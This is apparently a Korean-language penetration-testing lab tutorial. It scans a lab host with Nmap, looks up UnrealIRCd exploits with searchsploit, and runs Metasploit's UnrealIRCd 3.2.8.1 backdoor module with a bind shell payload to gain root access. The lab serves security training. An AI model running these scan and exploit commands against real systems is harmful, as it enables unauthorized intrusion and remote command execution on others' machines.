소개
네트워크 스캐닝은 매우 실용적인 분야입니다. 네트워크 스캐닝을 통해 사용자는 대상 호스트에서 다양한 서비스에 할당된 포트, 열린 서비스, 서비스 소프트웨어 및 버전, 기타 정보를 발견할 수 있습니다.
이 랩에서는 대상 호스트의 네트워크 서비스 보안 취약점을 스캔하는 방법을 배우게 됩니다.
네트워크 스캐닝은 매우 실용적인 분야입니다. 네트워크 스캐닝을 통해 사용자는 대상 호스트에서 다양한 서비스에 할당된 포트, 열린 서비스, 서비스 소프트웨어 및 버전, 기타 정보를 발견할 수 있습니다.
이 랩에서는 대상 호스트의 네트워크 서비스 보안 취약점을 스캔하는 방법을 배우게 됩니다.
네트워크 스캐닝의 기본 워크플로우는 다음과 같습니다.
Nmap (Network Mapper) 은 강력한 네트워크 스캐닝 도구입니다. UDP, TCP connect(), TCP SYN (half-open scanning), FTP 프록시 (bounce attack), reverse flag, ICMP, FIN, ACK scanning, SYN scanning, null scanning 등 다양한 스캔 기술을 지원합니다.
이 단계에서는 Nmap 을 사용하여 대상 호스트의 열린 포트를 스캔합니다.
docker run -ti --network host b5b709a49cd5 bash
nmap 명령을 사용하여 대상 호스트 192.168.122.102 를 스캔합니다:nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
이 명령은 대상 호스트에서 1 부터 65535 까지의 모든 포트를 스캔하며, 타이밍 정책은 4 (더 빠름), OS 핑거프린팅 및 버전 감지를 활성화하고, 출력을 /tmp/report.txt에 저장합니다.
대상 호스트를 스캔한 후에는 스캔 결과를 분석하여 잠재적인 취약점을 식별해야 합니다.
cat /tmp/report.txt
이 명령은 대상 호스트의 열린 포트, 서비스 및 버전에 대한 정보가 포함된 /tmp/report.txt 파일의 내용을 표시합니다. 다음은 표시될 수 있는 출력의 예입니다.
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
searchsploit 도구를 사용하여 취약점 정보 검색:searchsploit unreal ircd
이 명령은 "unreal ircd" 서비스와 관련된 취약점에 대한 Exploit Database 를 검색합니다. 다음은 표시될 수 있는 출력의 예입니다.
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
이 명령은 /usr/share/exploitdb/exploits/linux/remote/16922.rb에 있는 취약점 익스플로잇 파일의 내용을 표시합니다.
스캔 결과를 분석하고 잠재적인 취약점을 식별한 후에는 침투 공격을 위해 취약점을 익스플로잇을 시도할 수 있습니다.
스캔 결과에서 익스플로잇 가능한 취약점을 식별합니다. 예를 들어, 스캔에서 취약한 서비스가 있는 열린 포트 6667 을 발견했다고 가정해 보겠습니다.
Metasploit Framework 시작:
cd ~
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 192.168.122.102
set PAYLOAD cmd/unix/bind_perl
exploit
익스플로잇이 성공하면 대상 호스트에 대한 접근 권한을 얻게 됩니다.
whoami
hostname
출력에서 root 사용자로 로그인되어 있고 호스트 이름이 대상 호스트와 일치하는 경우 익스플로잇이 성공한 것입니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
이 랩에서는 대상 호스트 검색, 포트 스캔, 핑거프린팅 (Fingerprinting) 정보 스캔, 취약점 스캔 및 침투 공격 수행을 포함하는 네트워크 스캔의 기본적인 워크플로우 (workflow) 를 배웠습니다. 강력한 Nmap 도구를 사용하여 대상 호스트의 열린 포트를 스캔하고 스캔 결과를 분석하여 잠재적인 취약점을 식별했습니다. 또한 searchsploit 도구를 사용하여 취약점 정보를 검색하는 방법과 Metasploit Framework 를 사용하여 취약점을 익스플로잇하는 방법을 배웠습니다. 마지막으로, 대상 호스트에서 현재 사용자 및 호스트 이름을 확인하여 익스플로잇의 성공 여부를 확인했습니다.
이 실습 랩을 통해 네트워크 서비스 보안 취약점을 스캔하고 침투 공격을 수행하는 실질적인 경험을 얻었습니다. 이러한 지식은 네트워크 시스템의 보안을 보장하고 잠재적인 위험을 식별하는 데 매우 중요합니다.